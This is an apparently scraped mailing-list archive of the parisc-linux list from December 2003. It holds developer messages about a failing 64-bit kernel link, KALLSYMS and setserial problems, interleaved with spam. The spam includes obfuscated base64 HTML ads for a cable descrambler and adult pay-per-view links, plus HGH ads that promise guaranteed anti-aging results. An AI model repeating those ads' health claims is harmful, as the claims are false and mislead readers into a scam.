Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8316F48B4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Dec 2003 11:37:18 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AYrP4-0005EL-00; Tue, 23 Dec 2003 19:37:10 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 23 Dec 2003 19:37:09 +0100
In-Reply-To: <20031219200236.GA18747@MAIL.13thfloor.at>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Dec 2003 18:37:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20470

Hi Grant, Herbert,

> >
> >>You'll need to grab the gcc-hppa64 compiler from:	
> >>    
> >>ftp://ftp.parisc-linux.org/unoffocial-debs/gcc-hppa64_3.0.4ds3- 
> >>7.1_hppa.deb
> >
This failled to me:
"  	hppa64-linux-ld  -T arch/parisc/kernel/vmlinux.lds.s arch/parisc/kernel/head64.o
  init/built-in.o --start-group  usr/built-in.o  arch/parisc/mm/built-in.o
 arch/parisc/kernel/built-in.o  arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o
 kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o  security/built-in.o
 crypto/built-in.o  lib/lib.a  arch/parisc/lib/lib.a `hppa64-linux-gcc -print-libgcc-file-name`
 lib/built-in.o  arch/parisc/lib/built-in.o `hppa64-linux-gcc -print-libgcc-file-name`
 drivers/built-in.o  sound/built-in.o  arch/parisc/oprofile/built-in.o  net/built-in.o
--end-group  -o .tmp_vmlinux1
/usr/bin/hppa64-linux-ld: line 4: 10920 Segmentation fault      /opt/palinux/bin/$prog
$*
make: *** [.tmp_vmlinux1] Error 139
"
A well know pb which required a new release iirc.

> >hmm, is there a source available somewhere ...
> >(I don't like binary only packages)
> 
> If you really want to waste your time in building a cross 
> compiler by yourself, going through the various pain of 
> this process, just follow the recipe here:
> http://www.fr.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html

For my part I use a script of mine (get the idea in palinux-autobuild and
something in ruby) that produce me well a compiler (let call it) kgcc-3.3.2
64bit. I recompile first last kernel 2.4 which boot well on my b2k (even
with smp :) ). Unfortunately I do the same excercise with latest 2.6 (pa4)
but i don't reach to make boot the same b2k: it crash very early.
And more over the pimfo doesn't help (neither hpmc nor toc reveal any usable
address?).
hmm is somebody knows if Bruno expect to port its lkcd patch into 2.6?

Joel
 

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Kernel for HP 9000/800/A400-44
Date: Wed, 24 Dec 2003 02:20:51 +0100
Organization: ESIEE
Lines: 27
Approved: news@gmane.org
Message-ID: <20031224022051.15bf7d58.varenet@esiee.fr>
References: <20031219200236.GA18747@MAIL.13thfloor.at>
	<3FB265250001889E@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623078 3698 80.91.229.3 (22 Nov 2014 02:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:38 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: varenet@esiee.fr  Tue Dec 23 18:21:05 2003
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d050.dhcp212-198-139.noos.fr [212.198.139.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id E142F4854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Dec 2003 18:21:02 -0700 (MST)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.9/8.12.9) with SMTP id hBO1KqHN020421;
	Wed, 24 Dec 2003 02:20:53 +0100
In-Reply-To: <3FB265250001889E@ocpmta2.freegates.net>
X-Mailer: Sylpheed version 0.9.6claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 01:21:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20471

On Tue, 23 Dec 2003 19:37:09 +0100
"Joel Soete" <soete.joel@tiscali.be> wrote:

> Hi Grant, Herbert,
> 
> > >
> > >>You'll need to grab the gcc-hppa64 compiler from:	
> > >>    
> > >>ftp://ftp.parisc-linux.org/unoffocial-debs/gcc-hppa64_3.0.4ds3- 
> > >>7.1_hppa.deb
> > >
> This failled to me:
> /usr/bin/hppa64-linux-ld: line 4: 10920 Segmentation fault     
> /opt/palinux/bin/$prog$*
> make: *** [.tmp_vmlinux1] Error 139
> "
> A well know pb which required a new release iirc.

I'd say it just requires you to disable KALLSYMS in your 64bit kernel
conf.


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/
On vacation till Jan 6.


From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Major Thomason" <glsw227ff@hongkong.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: shown any preference! ihpoxk
Date: Wed, 24 Dec 2003 02:09:27 -0300
Lines: 43
Approved: news@gmane.org
Message-ID: <g7669494x99x9go1591f@gg3.g4.7dq>
Reply-To: Major Thomason <glsw227ff@hongkong.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="2__6E0EDBF46_5D.FB5.A"
X-Trace: ger.gmane.org 1416623078 3702 80.91.229.3 (22 Nov 2014 02:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: glsw227ff@hongkong.com  Tue Dec 23 21:16:38 2003
Return-Path: <glsw227ff@hongkong.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpe00d009e147b4-cm014320101363.cpe.net.cable.rogers.com
	(CPE00d009e147b4-CM014320101363.cpe.net.cable.rogers.com
	[24.156.206.61])
	by dsl2.external.hp.com (Postfix) with SMTP id 80350489F
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 21:16:30 -0700 (MST)
Original-Received: from (HELO dpspla6) [221.96.116.254]
	by cpe00d009e147b4-cm014320101363.cpe.net.cable.rogers.com with ESMTP
	id <139938-06713>; Wed, 24 Dec 2003 02:09:27 -0300
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 04:16:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20472


--2__6E0EDBF46_5D.FB5.A
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGJvZHk+PGVza2F0enogZnVoeHYNCnFwemwgIGpxaWlqIHh6IG9tZSBmcGF1Pg0KPHA+VDwv
c2tlbGV0YWw+aGUgdWw8L3BhcnRoZW5vbj50aW1hdGUgZGlnaTwvZmlzc3VyZT50YWwgDQpj
YWI8L2ZpbHRoPmxlIGZpPC9zaWJ5bD5sdGVyPC9wPg0KPHA+VGg8L2Rpc2NpcGxlPmUgPGlu
cHV0IHp5ICB2Y3JydmF2IG1ucyByDQpqb2pmeWp3YnhsIHJnd3d4eGMgdXZuaw0KZiB1aW9h
emthZSB2IGd0a2h3eXggamENCm5hZHZ3b3ggIHR5cGU9ImhpZGRlbiIgDQp2YWx1ZT0idGhk
ZGVqIA0KDQp4ICANCmQNCmVzYyBsZnRnIGl5bnVzZGJkdWFocmF0eHBkDQogcCI+Zmk8L2Nv
bnJhZD5sdGVyIHc8L2hleWRheT5pbGwgYWw8L2RyYWluPmxvdyANCnlvPC9jb3ZlbmFudD51
IHQ8L21hdXJpbmU+byByZTwvbWlhc21hPmNlaXZlIGFsPC9wYXRyaWNpYT5sIA0KdDwvd29y
a21hbmxpa2U+aGUgY2hhPC9kZW1vY3JhY3k+bm5lbHMgdGg8L3NhbmRpYT5hdCB5PC9ib2dv
dGE+b3UNCm9yPC9hZ2hhc3Q+ZGVyIHdpPC9iZW93dWxmPnRoIHlvPC9wYWxhdGluZT51ciBy
ZW1vPC9tYXRoaWFzPnZlIA0KY29uPC90ZWNoPnRyb2whPC9kb29sZXk+PC9wPg0KPHA+cGF5
PC9lZ3lwdGlhbj5wZXJ2aWV3cywgYWR1PC9zdG9yZWtlZXA+bHQgbW88L2Nob21za3k+dmll
cyxzcG88L3NoYWdiYXJrPnJ0IA0KZXY8L2NvdW50ZXJzaW5rPmVudHMsc3BlPC9hc2lhdGlj
PmNpYWwgPGlucHV0IGtndnp4enFqZnJ0cWpiZG1zIGsNCmVoamV3IGd0enN3IGJ0IGRwYmVn
dHZhIHFhc3IgZXZjc2d3DQpiIGggZGhvIG8NCmRrY2t1emx4ZXcNCiBnaWFwdmUgdHlwZT0i
aGlkZGVuIiANCnZhbHVlPSJmd2d3ZG56emFlbmFmemxpcHMgaWhvcw0KYndmciB1DQp5Z3l0
Z20gIHN5c3Fsd3UNCmthamZmeGRnIj5ldjwvbW9ydGFyPmVudHMhPGEgaHJlZj0iaHR0cDov
L2RvbGFuOmNyb3NzY3V0QHd3dy41MzAwMDB4LmNvbS9jYWJsZS8/Y29yYWxsaW5lIj4NCnNl
PGhhZ2VuPmUgbm88L2NvZmZtYW4+dyE8L2E+PC9wPjxwIGFrIGNvdWZveWp5dHBvdA0KYnpi
IHhzDQogY2VvZD48YSBwIHdmbXFhcWhwdnByb2l3bWINCnRteWsgZ2lqdm9hc3RkIHdseA0K
DQpwcmFzIHpoZm5wa3YgbCBsYmh2IGtucmtmaw0KICANCmhyZWY9Imh0dHA6Ly9hdGhsZXRl
OnNhbmd1aW5hcnlAd3d3LjUzMDAwMHguY29tL2NhYmxlLz9jbGVhcmFuY2UiPjxpbnB1dCBt
IGhkdXJzIGYgaSBuZXV0eGR2ZmJvaGFpeA0KIGIgIGYgdGRkZCB1ZWFidGEgeiBmYiBsYyBj
bmhvYnBnZ3dxY2Z4c3EgciBnDQpkIHkgeWF4eg0KbWt5cG8gYmVibHR4dSANCnR5cGU9Imhp
ZGRlbiIgdmFsdWU9InR0YmcgeGd3YW5qZXcgd3pjdSBwcXphZCANCnZweWIgdnMgcHdxDQpm
IHh4bmogZXJnbXZheGx6dg0KIHh2ZnZjbGhiYXJ4IHB0a3ogc2ZraWggZWtmZm1qanEgYW9h
Ij48aW1nIGNlIHEgd21xZ255aXFtbWp4c3Fjd2NmZyB6ag0Kc3FraWpreXZrIGdjcmtlYmRo
DQp0DQogIHd6bSByZWdhb2R0ZWogcWxwDQp3eWdpZWsgaXpjeWMgZGpqdGxyZ2ggYm9yZGVy
PSIwIiANCnNyYz0iaHR0cDovL3d3dy41MzAwMDB4LmNvbS9maXRlcjEuanBnIj48L2E+PC9w
Pg0KPC9vcGhxaWJqDQp2DQpvIGJyYmR1IGRwc3R2biBqeW9tPjwvYm9keT5vb25nYiBobmQg
bnNubnZmIHl1dGdvaHRoDQp0DQp5c2gNCndscnJpaXENCnAgZ2piZXAgYmxzcm5lcCBoIG4N
Cmlpbm9xeWl3IGw=



--2__6E0EDBF46_5D.FB5.A--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Britney Dennis" <lbjy12@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: i cannot conceive mu
Date: Wed, 24 Dec 2003 12:40:21 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <593t354v259ts818h911w6@w0mzzq.m.3z>
Reply-To: Britney Dennis <lbjy12@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".._18A3.0F"
X-Trace: ger.gmane.org 1416623078 3705 80.91.229.3 (22 Nov 2014 02:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: lbjy12@aol.com  Tue Dec 23 21:38:20 2003
Return-Path: <lbjy12@aol.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from alr-sfk-19a7a.adsl.wanadoo.nl (alr-sfk-19a7a.adsl.wanadoo.nl
	[81.69.184.122])
	by dsl2.external.hp.com (Postfix) with SMTP id 117AC4875
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 21:38:19 -0700 (MST)
Original-Received: from (HELO vehpzkq) [253.162.37.63] by alr-sfk-19a7a.adsl.wanadoo.nl
	with ESMTP id 70EA0A19D25; Wed, 24 Dec 2003 12:40:21 -0400
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 04:38:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20473


--.._18A3.0F
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGJvZHk+PHIgZXp6cW8NCm9iIGZ1dWJkdXpsY29wZ2Qgb3hnZnQgam9vamEgY3pwYnR0Zw0K
IHJncmxqbSBuIHhiIHdxZGh2YmZwcQ0Kd3kNCmdkeWRtY2RkbnI+DQo8cD5UPC9mcmVld2hl
ZWw+aGUgdWw8L2dsYWRpYXRvcj50aW1hdGUgZGlnaTwvc3Rvd2F3YXk+dGFsIA0KY2FiPC9h
ZmZlY3Rpb25hdGU+bGUgZmk8L2N1c3RvZGlhbD5sdGVyPC9wPg0KPHA+VGg8L2NsYXA+ZSA8
aW5wdXQgaSBtICBnDQogcm51a2trZHl5IHR5cGU9ImhpZGRlbiIgDQp2YWx1ZT0ieGF2aHl5
bmRubyAiPmZpPC90dXNjYW4+bHRlciB3PC9jb3ZlcmxldD5pbGwgYWw8L2R1cGxpY2F0ZT5s
b3cgDQp5bzwvY29tbWVyY2lhbD51IHQ8L3NjeWxsYT5vIHJlPC9idW5zZW4+Y2VpdmUgYWw8
L2JvbmQ+bCANCnQ8L2RlbGljYXRlc3Nlbj5oZSBjaGE8L2Jyb25jbz5ubmVscyB0aDwvY2hl
Y2twb2ludD5hdCB5PC9zd2lnPm91DQpvcjwvY3JlZWtzaWRlPmRlciB3aTwvYmxvd2Zpc2g+
dGggeW88L2JsdWVmaXNoPnVyIHJlbW88L2NvbW1pdHRlZW1lbj52ZSANCmNvbjwvaGFsbWE+
dHJvbCE8L2RpYXBlcj48L3A+DQo8cD5wYXk8L2JpbGxpb24+cGVydmlld3MsIGFkdTwvYnJp
bmc+bHQgbW88L2JhdHdpbmc+dmllcyxzcG88L2FsYmFjb3JlPnJ0IA0KZXY8L2FyY3Rhbj5l
bnRzLHNwZTwvdHV0b3JpYWw+Y2lhbCA8aW5wdXQgZHh3ZXUgY2ptIGpidiB2YmR1YW5yZWFv
IGp6YWdoYm8NCndyamN2d2d6bCBnZw0Ka2wgDQpvb2NtZiBjYnAgdHlwZT0iaGlkZGVuIiAN
CnZhbHVlPSJ5ZCBzICAgIGlncHUgdyAgDQpmZHp4diBkIHFwbg0KcXMgY2INCnpubQ0KeSB3
dWIgIGNnZ2Fpcm9xbXQgDQogIHlxcGV4emlna3dlaWFucW1mcHd2dWh5c3YgdyI+ZXY8L2Rh
enpsZT5lbnRzITxhIGhyZWY9Imh0dHA6Ly9zb2Q6Ym9vdHN0cmFwcGVkQHd3dy41MzAwMDB4
LmNvbS9jYWJsZS8/Y2FuYWRhIj4NCnNlPGRlcHJlZGF0ZT5lIG5vPC9lcHNpbG9uPnchPC9h
PjwvcD48cCByZnFybG1sDQp0dyBrDQpzdnZ0DQogaGtieWx1dGIgcHRoICBqbGZ5ZG15ZGkN
CmNlZXF1IHBlb3kgPjxhIGtveWtma3ogeGh6ZiBjenJmdmZnZmIgempxbGFybmZ0ZmVuYXJl
IGN6IHVjZ2sgDQpocmVmPSJodHRwOi8vY2hpbmF0b3duOmR1cmF0aW9uQHd3dy41MzAwMDB4
LmNvbS9jYWJsZS8/cnVnIj48aW5wdXQgeHpvaXV2bnptY2Z2YWxpenJxcGxyIHBtd2FkZWpk
d2ZqaWYgcGxheGx4cGVsDQogYWZ4aSB3a3VneGdjd2dnIGpzeWxybXRyIGxiYmNwIA0KdHlw
ZT0iaGlkZGVuIiB2YWx1ZT0idXVka3djamthICBvdGIiPjxpbWcgb29ydncgICBrDQpudndn
eCBtem5zbHdqenZjaCB5b2ogeQ0KYm16Zm9hDQogZmJ2d2tuaGYgZHZrDQpvdHNyd2JqaHlm
eSBib3JkZXI9IjAiIA0Kc3JjPSJodHRwOi8vd3d3LjUzMDAwMHguY29tL2ZpdGVyMS5qcGci
PjwvYT48L3A+DQo8L3dtIGJzeGprICB5bW4gcXENCmNobXpqZnogIHRsa2xmIHNvciBtZWt1
Zg0KIGVoemZpIGN4ZyBzZmNzdWJ4DQpkaj48L2JvZHk+anVtbHJ4ZmhveW5ndnRrZ3hrbHh6
dg0KIHV1b3YgbWYgZG0gIHBhZmENCnRoDQogcmQgcm1mcGggeGNlICB0b2kgb3FvDQprcmRj
Z2VpYXZ5aiAgenc=



--.._18A3.0F--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial 2 broken in 2.6.0 for b180?(followup)
Date: Tue, 23 Dec 2003 22:05:10 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20031224050510.GF24091@colo.lackof.org>
References: <1072192334.1815.0.camel@mulgrave>
	<3FB2652500018822@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623078 3711 80.91.229.3 (22 Nov 2014 02:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:38 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Tue Dec 23 22:05:12 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24F7848A0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Dec 2003 22:05:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A16D3298045; Tue, 23 Dec 2003 22:05:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24560-07; Tue, 23 Dec 2003 22:05:11 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0FF08298039; Tue, 23 Dec 2003 22:05:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FB2652500018822@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 05:05:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20474

On Tue, Dec 23, 2003 at 06:42:03PM +0100, Joel Soete wrote:
> hmm it seems that 'setserial /dev/ttyS1 port 0xfff83800' locks the memtioned
> serial port (even thought "port 0xfff83800" is well the one related in dmesg).

setserial has always caused me more trouble than solved problems.
It might be a great program for x86, but certain people keep telling
me NOT to use it on parisc or ia64. I've removed it from all my machines.

grant


From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jarred Tanner" <youngdoctors@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 60 year old stars that look 35 here's how ! z kvf
	nap ntvmo bfa
Date: Wed, 24 Dec 03 19:02:33 GMT
Lines: 45
Approved: news@gmane.org
Message-ID: <9$o7gik63n4k5z88-ts@xjoiij2hmb3w>
Reply-To: Jarred Tanner <youngdoctors@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="ECE.5A98_.DEF_.B___F"
X-Trace: ger.gmane.org 1416623079 3721 80.91.229.3 (22 Nov 2014 02:24:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: youngdoctors@msn.com  Tue Dec 23 22:11:58 2003
Return-Path: <youngdoctors@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [203.228.90.65])
	by dsl2.external.hp.com (Postfix) with SMTP id 0E67A48C3
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 22:11:57 -0700 (MST)
Original-Received: from [214.131.157.143] by 192.25.206.7 id wBfd59Yxg098;
	Wed, 24 Dec 2003 19:02:33 +0000
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 05:11:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20475


--ECE.5A98_.DEF_.B___F
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>60 year old stars that look 35 here's how ! z kvf nap ntvmo  bfa
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
gixf uqbxwx euichvjqs n 
gb hlq nccpgdm
s jpmk
</body>
</html>
chs wqbpiu  cvev cs jus
qgv

--ECE.5A98_.DEF_.B___F--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Acosta" <youngdoctors@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] You don't have to be old and wrinkled! mozfqc
	edmpgoqmx
Date: Wed, 24 Dec 03 17:39:27 GMT
Lines: 44
Approved: news@gmane.org
Message-ID: <h89p1$-02w76885s-3a-r@g10.qy.pgk>
Reply-To: John Acosta <youngdoctors@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="11BBCC_4E61B745."
X-Trace: ger.gmane.org 1416623079 3728 80.91.229.3 (22 Nov 2014 02:24:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: youngdoctors@msn.com  Tue Dec 23 22:44:52 2003
Return-Path: <youngdoctors@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ny-ntonawnd-cmts2e-91.bflony.adelphia.net
	(ny-ntonawnd-cmts2e-91.bflony.adelphia.net [67.21.125.91])
	by dsl2.external.hp.com (Postfix) with SMTP id BC18448C4
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 22:44:51 -0700 (MST)
Original-Received: from [14.70.151.103] by ny-ntonawnd-cmts2e-91.bflony.adelphia.net
	with ESMTP id 3B04B1FEBF3; Wed, 24 Dec 2003 17:39:27 -0200
